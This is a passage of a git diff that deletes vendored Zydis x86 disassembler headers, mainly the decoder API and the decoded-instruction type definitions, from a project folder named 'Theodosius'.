ZYCORE_NO_DEPRECATED -# define ZYCORE_NO_DEPRECATED -# endif -#endif - -#endif /* ZYCORE_EXPORT_H */ diff --git a/src/Theodosius/Zydis/Decoder.h b/src/Theodosius/Zydis/Decoder.h deleted file mode 100644 index 8cfbb0c..0000000 --- a/src/Theodosius/Zydis/Decoder.h +++ /dev/null @@ -1,237 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Functions for decoding instructions. - */ - -#ifndef ZYDIS_DECODER_H -#define ZYDIS_DECODER_H - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Decoder mode */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisDecoderMode` enum. - */ -typedef enum ZydisDecoderMode_ -{ - /** - * Enables minimal instruction decoding without semantic analysis. - * - * This mode provides access to the mnemonic, the instruction-length, the effective - * operand-size, the effective address-width, some attributes (e.g. `ZYDIS_ATTRIB_IS_RELATIVE`) - * and all of the information in the `raw` field of the `ZydisDecodedInstruction` struct. - * - * Operands, most attributes and other specific information (like `AVX` info) are not - * accessible in this mode. - * - * This mode is NOT enabled by default. - */ - ZYDIS_DECODER_MODE_MINIMAL, - /** - * Enables the `AMD`-branch mode. - * - * Intel ignores the operand-size override-prefix (`0x66`) for all branches with 32-bit - * immediates and forces the operand-size of the instruction to 64-bit in 64-bit mode. - * In `AMD`-branch mode `0x66` is not ignored and changes the operand-size and the size of the - * immediate to 16-bit. - * - * This mode is NOT enabled by default. - */ - ZYDIS_DECODER_MODE_AMD_BRANCHES, - /** - * Enables `KNC` compatibility-mode. - * - * `KNC` and `KNL+` chips are sharing opcodes and encodings for some mask-related instructions. - * Enable this mode to use the old `KNC` specifications (different mnemonics, operands, ..). - * - * This mode is NOT enabled by default. - */ - ZYDIS_DECODER_MODE_KNC, - /** - * Enables the `MPX` mode. - * - * The `MPX` isa-extension reuses (overrides) some of the widenop instruction opcodes. - * - * This mode is enabled by default. - */ - ZYDIS_DECODER_MODE_MPX, - /** - * Enables the `CET` mode. - * - * The `CET` isa-extension reuses (overrides) some of the widenop instruction opcodes. - * - * This mode is enabled by default. - */ - ZYDIS_DECODER_MODE_CET, - /** - * Enables the `LZCNT` mode. - * - * The `LZCNT` isa-extension reuses (overrides) some of the widenop instruction opcodes. - * - * This mode is enabled by default. - */ - ZYDIS_DECODER_MODE_LZCNT, - /** - * Enables the `TZCNT` mode. - * - * The `TZCNT` isa-extension reuses (overrides) some of the widenop instruction opcodes. - * - * This mode is enabled by default. - */ - ZYDIS_DECODER_MODE_TZCNT, - /** - * Enables the `WBNOINVD` mode. - * - * The `WBINVD` instruction is interpreted as `WBNOINVD` on ICL chips, if a `F3` prefix is - * used. - * - * This mode is disabled by default. - */ - ZYDIS_DECODER_MODE_WBNOINVD, - /** - * Enables the `CLDEMOTE` mode. - * - * The `CLDEMOTE` isa-extension reuses (overrides) some of the widenop instruction opcodes. - * - * This mode is enabled by default. - */ - ZYDIS_DECODER_MODE_CLDEMOTE, - - /** - * Maximum value of this enum. - */ - ZYDIS_DECODER_MODE_MAX_VALUE = ZYDIS_DECODER_MODE_CLDEMOTE, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_DECODER_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_DECODER_MODE_MAX_VALUE) -} ZydisDecoderMode; - -/* ---------------------------------------------------------------------------------------------- */ -/* Decoder struct */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisDecoder` struct. - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZydisDecoder_ -{ - /** - * The machine mode. - */ - ZydisMachineMode machine_mode; - /** - * The address width. - */ - ZydisAddressWidth address_width; - /** - * The decoder mode array. - */ - ZyanBool decoder_mode[ZYDIS_DECODER_MODE_MAX_VALUE + 1]; -} ZydisDecoder; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/** - * @addtogroup decoder Decoder - * Functions allowing decoding of instruction bytes to a machine interpretable struct. - * @{ - */ - -/** - * Initializes the given `ZydisDecoder` instance. - * - * @param decoder A pointer to the `ZydisDecoder` instance. - * @param machine_mode The machine mode. - * @param address_width The address width. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisDecoderInit(ZydisDecoder* decoder, ZydisMachineMode machine_mode, - ZydisAddressWidth address_width); - -/** - * Enables or disables the specified decoder-mode. - * - * @param decoder A pointer to the `ZydisDecoder` instance. - * @param mode The decoder mode. - * @param enabled `ZYAN_TRUE` to enable, or `ZYAN_FALSE` to disable the specified decoder-mode. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisDecoderEnableMode(ZydisDecoder* decoder, ZydisDecoderMode mode, - ZyanBool enabled); - -/** - * Decodes the instruction in the given input `buffer`. - * - * @param decoder A pointer to the `ZydisDecoder` instance. - * @param buffer A pointer to the input buffer. - * @param length The length of the input buffer. Note that this can be bigger than the - * actual size of the instruction -- you don't have to know the size up - * front. This length is merely used to prevent Zydis from doing - * out-of-bounds reads on your buffer. - * @param instruction A pointer to the `ZydisDecodedInstruction` struct, that receives the - * details about the decoded instruction. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisDecoderDecodeBuffer(const ZydisDecoder* decoder, - const void* buffer, ZyanUSize length, ZydisDecodedInstruction* instruction); - -/** @} */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_DECODER_H */ diff --git a/src/Theodosius/Zydis/DecoderTypes.h b/src/Theodosius/Zydis/DecoderTypes.h deleted file mode 100644 index aa526cd..0000000 --- a/src/Theodosius/Zydis/DecoderTypes.h +++ /dev/null @@ -1,1528 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Defines the basic `ZydisDecodedInstruction` and `ZydisDecodedOperand` structs. - */ - -#ifndef ZYDIS_INSTRUCTIONINFO_H -#define ZYDIS_INSTRUCTIONINFO_H - -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Decoded operand */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Memory type */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisMemoryOperandType` enum. - */ -typedef enum ZydisMemoryOperandType_ -{ - ZYDIS_MEMOP_TYPE_INVALID, - /** - * Normal memory operand. - */ - ZYDIS_MEMOP_TYPE_MEM, - /** - * The memory operand is only used for address-generation. No real memory-access is - * caused. - */ - ZYDIS_MEMOP_TYPE_AGEN, - /** - * A memory operand using `SIB` addressing form, where the index register is not used - * in address calculation and scale is ignored. No real memory-access is caused. - */ - ZYDIS_MEMOP_TYPE_MIB, - - /** - * Maximum value of this enum. - */ - ZYDIS_MEMOP_TYPE_MAX_VALUE = ZYDIS_MEMOP_TYPE_MIB, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_MEMOP_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MEMOP_TYPE_MAX_VALUE) -} ZydisMemoryOperandType; - -/* ---------------------------------------------------------------------------------------------- */ -/* Decoded operand */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisDecodedOperand` struct. - */ -typedef struct ZydisDecodedOperand_ -{ - /** - * The operand-id. - */ - ZyanU8 id; - /** - * The type of the operand. - */ - ZydisOperandType type; - /** - * The visibility of the operand. - */ - ZydisOperandVisibility visibility; - /** - * The operand-actions. - */ - ZydisOperandActions actions; - /** - * The operand-encoding. - */ - ZydisOperandEncoding encoding; - /** - * The logical size of the operand (in bits). - */ - ZyanU16 size; - /** - * The element-type. - */ - ZydisElementType element_type; - /** - * The size of a single element. - */ - ZydisElementSize element_size; - /** - * The number of elements. - */ - ZyanU16 element_count; - /** - * Extended info for register-operands. - */ - struct ZydisDecodedOperandReg_ - { - /** - * The register value. - */ - ZydisRegister value; - // TODO: AVX512_4VNNIW MULTISOURCE registers - } reg; - /** - * Extended info for memory-operands. - */ - struct ZydisDecodedOperandMem_ - { - /** - * The type of the memory operand. - */ - ZydisMemoryOperandType type; - /** - * The segment register. - */ - ZydisRegister segment; - /** - * The base register. - */ - ZydisRegister base; - /** - * The index register. - */ - ZydisRegister index; - /** - * The scale factor. - */ - ZyanU8 scale; - /** - * Extended info for memory-operands with displacement. - */ - struct ZydisDecodedOperandMemDisp_ - { - /** - * Signals, if the displacement value is used. - */ - ZyanBool has_displacement; - /** - * The displacement value - */ - ZyanI64 value; - } disp; - } mem; - /** - * Extended info for pointer-operands. - */ - struct ZydisDecodedOperandPtr_ - { - ZyanU16 segment; - ZyanU32 offset; - } ptr; - /** - * Extended info for immediate-operands. - */ - struct ZydisDecodedOperandImm_ - { - /** - * Signals, if the immediate value is signed. - */ - ZyanBool is_signed; - /** - * Signals, if the immediate value contains a relative offset. You can use - * `ZydisCalcAbsoluteAddress` to determine the absolute address value. - */ - ZyanBool is_relative; - /** - * The immediate value. - */ - union ZydisDecodedOperandImmValue_ - { - ZyanU64 u; - ZyanI64 s; - } value; - } imm; -} ZydisDecodedOperand; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Decoded instruction */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Instruction attributes */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisInstructionAttributes` data-type. - */ -typedef ZyanU64 ZydisInstructionAttributes; - -/** - * The instruction has the `ModRM` byte. - */ -#define ZYDIS_ATTRIB_HAS_MODRM 0x0000000000000001 // (1 << 0) -/** - * The instruction has the `SIB` byte. - */ -#define ZYDIS_ATTRIB_HAS_SIB 0x0000000000000002 // (1 << 1) -/** - * The instruction has the `REX` prefix. - */ -#define ZYDIS_ATTRIB_HAS_REX 0x0000000000000004 // (1 << 2) -/** - * The instruction has the `XOP` prefix. - */ -#define ZYDIS_ATTRIB_HAS_XOP 0x0000000000000008 // (1 << 3) -/** - * The instruction has the `VEX` prefix. - */ -#define ZYDIS_ATTRIB_HAS_VEX 0x0000000000000010 // (1 << 4) -/** - * The instruction has the `EVEX` prefix. - */ -#define ZYDIS_ATTRIB_HAS_EVEX 0x0000000000000020 // (1 << 5) -/** - * The instruction has the `MVEX` prefix. - */ -#define ZYDIS_ATTRIB_HAS_MVEX 0x0000000000000040 // (1 << 6) -/** - * The instruction has one or more operands with position-relative offsets. - */ -#define ZYDIS_ATTRIB_IS_RELATIVE 0x0000000000000080 // (1 << 7) -/** - * The instruction is privileged. - * - * Privileged instructions are any instructions that require a current ring level below 3. - */ -#define ZYDIS_ATTRIB_IS_PRIVILEGED 0x0000000000000100 // (1 << 8) - -/** - * The instruction accesses one or more CPU-flags. - */ -#define ZYDIS_ATTRIB_CPUFLAG_ACCESS 0x0000001000000000 // (1 << 36) // TODO: rebase - -/** - * The instruction may conditionally read the general CPU state. - */ -#define ZYDIS_ATTRIB_CPU_STATE_CR 0x0000002000000000 // (1 << 37) // TODO: rebase -/** - * The instruction may conditionally write the general CPU state. - */ -#define ZYDIS_ATTRIB_CPU_STATE_CW 0x0000004000000000 // (1 << 38) // TODO: rebase -/** - * The instruction may conditionally read the FPU state (X87, MMX). - */ -#define ZYDIS_ATTRIB_FPU_STATE_CR 0x0000008000000000 // (1 << 39) // TODO: rebase -/** - * The instruction may conditionally write the FPU state (X87, MMX). - */ -#define ZYDIS_ATTRIB_FPU_STATE_CW 0x0000010000000000 // (1 << 40) // TODO: rebase -/** - * The instruction may conditionally read the XMM state (AVX, AVX2, AVX-512). - */ -#define ZYDIS_ATTRIB_XMM_STATE_CR 0x0000020000000000 // (1 << 41) // TODO: rebase -/** - * The instruction may conditionally write the XMM state (AVX, AVX2, AVX-512). - */ -#define ZYDIS_ATTRIB_XMM_STATE_CW 0x0000040000000000 // (1 << 42) // TODO: rebase - -/** - * The instruction accepts the `LOCK` prefix (`0xF0`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_LOCK 0x0000000000000200 // (1 << 9) -/** - * The instruction accepts the `REP` prefix (`0xF3`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_REP 0x0000000000000400 // (1 << 10) -/** - * The instruction accepts the `REPE`/`REPZ` prefix (`0xF3`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_REPE 0x0000000000000800 // (1 << 11) -/** - * The instruction accepts the `REPE`/`REPZ` prefix (`0xF3`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_REPZ 0x0000000000000800 // (1 << 11) -/** - * The instruction accepts the `REPNE`/`REPNZ` prefix (`0xF2`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_REPNE 0x0000000000001000 // (1 << 12) -/** - * The instruction accepts the `REPNE`/`REPNZ` prefix (`0xF2`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_REPNZ 0x0000000000001000 // (1 << 12) -/** - * The instruction accepts the `BND` prefix (`0xF2`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_BND 0x0000000000002000 // (1 << 13) -/** - * The instruction accepts the `XACQUIRE` prefix (`0xF2`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_XACQUIRE 0x0000000000004000 // (1 << 14) -/** - * The instruction accepts the `XRELEASE` prefix (`0xF3`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_XRELEASE 0x0000000000008000 // (1 << 15) -/** - * The instruction accepts the `XACQUIRE`/`XRELEASE` prefixes (`0xF2`, `0xF3`) - * without the `LOCK` prefix (`0x0F`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_HLE_WITHOUT_LOCK 0x0000000000010000 // (1 << 16) -/** - * The instruction accepts branch hints (0x2E, 0x3E). - */ -#define ZYDIS_ATTRIB_ACCEPTS_BRANCH_HINTS 0x0000000000020000 // (1 << 17) -/** - * The instruction accepts segment prefixes (`0x2E`, `0x36`, `0x3E`, `0x26`, - * `0x64`, `0x65`). - */ -#define ZYDIS_ATTRIB_ACCEPTS_SEGMENT 0x0000000000040000 // (1 << 18) -/** - * The instruction has the `LOCK` prefix (`0xF0`). - */ -#define ZYDIS_ATTRIB_HAS_LOCK 0x0000000000080000 // (1 << 19) -/** - * The instruction has the `REP` prefix (`0xF3`). - */ -#define ZYDIS_ATTRIB_HAS_REP 0x0000000000100000 // (1 << 20) -/** - * The instruction has the `REPE`/`REPZ` prefix (`0xF3`). - */ -#define ZYDIS_ATTRIB_HAS_REPE 0x0000000000200000 // (1 << 21) -/** - * The instruction has the `REPE`/`REPZ` prefix (`0xF3`). - */ -#define ZYDIS_ATTRIB_HAS_REPZ 0x0000000000200000 // (1 << 21) -/** - * The instruction has the `REPNE`/`REPNZ` prefix (`0xF2`). - */ -#define ZYDIS_ATTRIB_HAS_REPNE 0x0000000000400000 // (1 << 22) -/** - * The instruction has the `REPNE`/`REPNZ` prefix (`0xF2`). - */ -#define ZYDIS_ATTRIB_HAS_REPNZ 0x0000000000400000 // (1 << 22) -/** - * The instruction has the `BND` prefix (`0xF2`). - */ -#define ZYDIS_ATTRIB_HAS_BND 0x0000000000800000 // (1 << 23) -/** - * The instruction has the `XACQUIRE` prefix (`0xF2`). - */ -#define ZYDIS_ATTRIB_HAS_XACQUIRE 0x0000000001000000 // (1 << 24) -/** - * The instruction has the `XRELEASE` prefix (`0xF3`). - */ -#define ZYDIS_ATTRIB_HAS_XRELEASE 0x0000000002000000 // (1 << 25) -/** - * The instruction has the branch-not-taken hint (`0x2E`). - */ -#define ZYDIS_ATTRIB_HAS_BRANCH_NOT_TAKEN 0x0000000004000000 // (1 << 26) -/** - * The instruction has the branch-taken hint (`0x3E`). - */ -#define ZYDIS_ATTRIB_HAS_BRANCH_TAKEN 0x0000000008000000 // (1 << 27) -/** - * The instruction has a segment modifier. - */ -#define ZYDIS_ATTRIB_HAS_SEGMENT 0x00000003F0000000 -/** - * The instruction has the `CS` segment modifier (`0x2E`). - */ -#define ZYDIS_ATTRIB_HAS_SEGMENT_CS 0x0000000010000000 // (1 << 28) -/** - * The instruction has the `SS` segment modifier (`0x36`). - */ -#define ZYDIS_ATTRIB_HAS_SEGMENT_SS 0x0000000020000000 // (1 << 29) -/** - * The instruction has the `DS` segment modifier (`0x3E`). - */ -#define ZYDIS_ATTRIB_HAS_SEGMENT_DS 0x0000000040000000 // (1 << 30) -/** - * The instruction has the `ES` segment modifier (`0x26`). - */ -#define ZYDIS_ATTRIB_HAS_SEGMENT_ES 0x0000000080000000 // (1 << 31) -/** - * The instruction has the `FS` segment modifier (`0x64`). - */ -#define ZYDIS_ATTRIB_HAS_SEGMENT_FS 0x0000000100000000 // (1 << 32) -/** - * The instruction has the `GS` segment modifier (`0x65`). - */ -#define ZYDIS_ATTRIB_HAS_SEGMENT_GS 0x0000000200000000 // (1 << 33) -/** - * The instruction has the operand-size override prefix (`0x66`). - */ -#define ZYDIS_ATTRIB_HAS_OPERANDSIZE 0x0000000400000000 // (1 << 34) // TODO: rename -/** - * The instruction has the address-size override prefix (`0x67`). - */ -#define ZYDIS_ATTRIB_HAS_ADDRESSSIZE 0x0000000800000000 // (1 << 35) // TODO: rename - -/* ---------------------------------------------------------------------------------------------- */ -/* R/E/FLAGS info */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisCPUFlags` data-type. - */ -typedef ZyanU32 ZydisCPUFlags; - -/** - * Defines the `ZydisCPUFlag` data-type. - */ -typedef ZyanU8 ZydisCPUFlag; - -/** - * Carry flag. - */ -#define ZYDIS_CPUFLAG_CF 0 -/** - * Parity flag. - */ -#define ZYDIS_CPUFLAG_PF 2 -/** - * Adjust flag. - */ -#define ZYDIS_CPUFLAG_AF 4 -/** - * Zero flag. - */ -#define ZYDIS_CPUFLAG_ZF 6 -/** - * Sign flag. - */ -#define ZYDIS_CPUFLAG_SF 7 -/** - * Trap flag. - */ -#define ZYDIS_CPUFLAG_TF 8 -/** - * Interrupt enable flag. - */ -#define ZYDIS_CPUFLAG_IF 9 -/** - * Direction flag. - */ -#define ZYDIS_CPUFLAG_DF 10 -/** - * Overflow flag. - */ -#define ZYDIS_CPUFLAG_OF 11 -/** - * I/O privilege level flag. - */ -#define ZYDIS_CPUFLAG_IOPL 12 -/** - * Nested task flag. - */ -#define ZYDIS_CPUFLAG_NT 14 -/** - * Resume flag. - */ -#define ZYDIS_CPUFLAG_RF 16 -/** - * Virtual 8086 mode flag. - */ -#define ZYDIS_CPUFLAG_VM 17 -/** - * Alignment check. - */ -#define ZYDIS_CPUFLAG_AC 18 -/** - * Virtual interrupt flag. - */ -#define ZYDIS_CPUFLAG_VIF 19 -/** - * Virtual interrupt pending. - */ -#define ZYDIS_CPUFLAG_VIP 20 -/** - * Able to use CPUID instruction. - */ -#define ZYDIS_CPUFLAG_ID 21 - -/////////////////////////////////////////////////////////////////////////////////////////////////// - -/** - * FPU condition-code flag 0. - * - * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the - * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and - * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. - */ -#define ZYDIS_CPUFLAG_C0 22 -/** - * FPU condition-code flag 1. - * - * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the - * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and - * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. - */ -#define ZYDIS_CPUFLAG_C1 23 -/** - * FPU condition-code flag 2. - * - * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the - * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and - * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. - */ -#define ZYDIS_CPUFLAG_C2 24 -/** - * FPU condition-code flag 3. - * - * DEPRECATED. This flag is not actually part of `FLAGS/EFLAGS/RFLAGS` and will be removed in the - * next major release. Please refer to the `fpu_flags_read`/`fpu_flags_written` field instead and - * use one of the `ZYDIS_FPUFLAG_XXX` masks to check for specific a flag. - */ -#define ZYDIS_CPUFLAG_C3 25 - -/** - * DEPRECATED. This define will be removed in the next major release. - */ -#define ZYDIS_CPUFLAG_MAX_VALUE ZYDIS_CPUFLAG_C3 - - /////////////////////////////////////////////////////////////////////////////////////////////////// - - /** - * Defines the `ZydisFPUFlags` data-type. - */ -typedef ZyanU8 ZydisFPUFlags; - -/** - * FPU condition-code flag 0. - */ -#define ZYDIS_FPUFLAG_C0 0x00 // (1 << 0) -/** - * FPU condition-code flag 1. - */ -#define ZYDIS_FPUFLAG_C1 0x01 // (1 << 1) - /** - * FPU condition-code flag 2. - */ -#define ZYDIS_FPUFLAG_C2 0x02 // (1 << 2) -/** - * FPU condition-code flag 3. - */ -#define ZYDIS_FPUFLAG_C3 0x04 // (1 << 3) - -/** - * Defines the `ZydisCPUFlagAction` enum. - * - * DEPRECATED. This enum will be removed in the next major release. - */ -typedef enum ZydisCPUFlagAction_ -{ - /** - * The CPU flag is not touched by the instruction. - */ - ZYDIS_CPUFLAG_ACTION_NONE, - /** - * The CPU flag is tested (read). - */ - ZYDIS_CPUFLAG_ACTION_TESTED, - /** - * The CPU flag is tested and modified afterwards (read-write). - */ - ZYDIS_CPUFLAG_ACTION_TESTED_MODIFIED, - /** - * The CPU flag is modified (write). - */ - ZYDIS_CPUFLAG_ACTION_MODIFIED, - /** - * The CPU flag is set to 0 (write). - */ - ZYDIS_CPUFLAG_ACTION_SET_0, - /** - * The CPU flag is set to 1 (write). - */ - ZYDIS_CPUFLAG_ACTION_SET_1, - /** - * The CPU flag is undefined (write). - */ - ZYDIS_CPUFLAG_ACTION_UNDEFINED, - - /** - * Maximum value of this enum. - */ - ZYDIS_CPUFLAG_ACTION_MAX_VALUE = ZYDIS_CPUFLAG_ACTION_UNDEFINED, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_CPUFLAG_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CPUFLAG_ACTION_MAX_VALUE) -} ZydisCPUFlagAction; - -/* ---------------------------------------------------------------------------------------------- */ -/* Branch types */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisBranchType` enum. - */ -typedef enum ZydisBranchType_ -{ - /** - * The instruction is not a branch instruction. - */ - ZYDIS_BRANCH_TYPE_NONE, - /** - * The instruction is a short (8-bit) branch instruction. - */ - ZYDIS_BRANCH_TYPE_SHORT, - /** - * The instruction is a near (16-bit or 32-bit) branch instruction. - */ - ZYDIS_BRANCH_TYPE_NEAR, - /** - * The instruction is a far (inter-segment) branch instruction. - */ - ZYDIS_BRANCH_TYPE_FAR, - - /** - * Maximum value of this enum. - */ - ZYDIS_BRANCH_TYPE_MAX_VALUE = ZYDIS_BRANCH_TYPE_FAR, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_BRANCH_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_BRANCH_TYPE_MAX_VALUE) -} ZydisBranchType; - -/* ---------------------------------------------------------------------------------------------- */ -/* SSE/AVX exception-class */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisExceptionClass` enum. - */ -typedef enum ZydisExceptionClass_ -{ - ZYDIS_EXCEPTION_CLASS_NONE, - // TODO: FP Exceptions - ZYDIS_EXCEPTION_CLASS_SSE1, - ZYDIS_EXCEPTION_CLASS_SSE2, - ZYDIS_EXCEPTION_CLASS_SSE3, - ZYDIS_EXCEPTION_CLASS_SSE4, - ZYDIS_EXCEPTION_CLASS_SSE5, - ZYDIS_EXCEPTION_CLASS_SSE7, - ZYDIS_EXCEPTION_CLASS_AVX1, - ZYDIS_EXCEPTION_CLASS_AVX2, - ZYDIS_EXCEPTION_CLASS_AVX3, - ZYDIS_EXCEPTION_CLASS_AVX4, - ZYDIS_EXCEPTION_CLASS_AVX5, - ZYDIS_EXCEPTION_CLASS_AVX6, - ZYDIS_EXCEPTION_CLASS_AVX7, - ZYDIS_EXCEPTION_CLASS_AVX8, - ZYDIS_EXCEPTION_CLASS_AVX11, - ZYDIS_EXCEPTION_CLASS_AVX12, - ZYDIS_EXCEPTION_CLASS_E1, - ZYDIS_EXCEPTION_CLASS_E1NF, - ZYDIS_EXCEPTION_CLASS_E2, - ZYDIS_EXCEPTION_CLASS_E2NF, - ZYDIS_EXCEPTION_CLASS_E3, - ZYDIS_EXCEPTION_CLASS_E3NF, - ZYDIS_EXCEPTION_CLASS_E4, - ZYDIS_EXCEPTION_CLASS_E4NF, - ZYDIS_EXCEPTION_CLASS_E5, - ZYDIS_EXCEPTION_CLASS_E5NF, - ZYDIS_EXCEPTION_CLASS_E6, - ZYDIS_EXCEPTION_CLASS_E6NF, - ZYDIS_EXCEPTION_CLASS_E7NM, - ZYDIS_EXCEPTION_CLASS_E7NM128, - ZYDIS_EXCEPTION_CLASS_E9NF, - ZYDIS_EXCEPTION_CLASS_E10, - ZYDIS_EXCEPTION_CLASS_E10NF, - ZYDIS_EXCEPTION_CLASS_E11, - ZYDIS_EXCEPTION_CLASS_E11NF, - ZYDIS_EXCEPTION_CLASS_E12, - ZYDIS_EXCEPTION_CLASS_E12NP, - ZYDIS_EXCEPTION_CLASS_K20, - ZYDIS_EXCEPTION_CLASS_K21, - ZYDIS_EXCEPTION_CLASS_AMXE1, - ZYDIS_EXCEPTION_CLASS_AMXE2, - ZYDIS_EXCEPTION_CLASS_AMXE3, - ZYDIS_EXCEPTION_CLASS_AMXE4, - ZYDIS_EXCEPTION_CLASS_AMXE5, - ZYDIS_EXCEPTION_CLASS_AMXE6, - - /** - * Maximum value of this enum. - */ - ZYDIS_EXCEPTION_CLASS_MAX_VALUE = ZYDIS_EXCEPTION_CLASS_AMXE6, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_EXCEPTION_CLASS_MAX_VALUE) -} ZydisExceptionClass; - -/* ---------------------------------------------------------------------------------------------- */ -/* AVX mask mode */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisMaskMode` enum. - */ -typedef enum ZydisMaskMode_ -{ - ZYDIS_MASK_MODE_INVALID, - /** - * Masking is disabled for the current instruction (`K0` register is used). - */ - ZYDIS_MASK_MODE_DISABLED, - /** - * The embedded mask register is used as a merge-mask. - */ - ZYDIS_MASK_MODE_MERGING, - /** - * The embedded mask register is used as a zero-mask. - */ - ZYDIS_MASK_MODE_ZEROING, - /** - * The embedded mask register is used as a control-mask (element selector). - */ - ZYDIS_MASK_MODE_CONTROL, - /** - * The embedded mask register is used as a zeroing control-mask (element selector). - */ - ZYDIS_MASK_MODE_CONTROL_ZEROING, - - /** - * Maximum value of this enum. - */ - ZYDIS_MASK_MODE_MAX_VALUE = ZYDIS_MASK_MODE_CONTROL_ZEROING, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_MASK_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_MODE_MAX_VALUE) -} ZydisMaskMode; - -/* ---------------------------------------------------------------------------------------------- */ -/* AVX broadcast-mode */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisBroadcastMode` enum. - */ 